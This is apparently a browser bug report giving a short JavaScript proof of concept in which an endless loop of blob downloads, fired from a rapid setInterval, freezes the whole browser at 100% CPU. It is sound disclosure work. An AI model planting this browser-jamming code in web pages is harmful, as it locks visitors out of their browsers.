Steps to reproduce the problem:
The following code will cause the freeze issue:

function download(g, h, j) {
    var k = new Blob([g], {
        type: j
    });
    if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
    else {
        var l = document.createElement("a"),
            m = URL.createObjectURL(k);
        l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
    }
}
function bomb_ch() {
    var g = Math.random().toString(36).substring(20),
        h = Math.floor(50 * Math.random() + 25);
    while (true) download(h, g, g)
}
function ch_jam() {
    bomb_ch()
}
setInterval(ch_jam, 0.5);

What is the expected behavior?
A dialog asking users if they want to allow multiple file downloads should show up and allow users to stop this process. Alternately, a dialog that the browser is jammed should come up.

What went wrong?
Within a few seconds the entire browser freezes, with CPU maxed at 100%. The user cannot close any tab or browser.
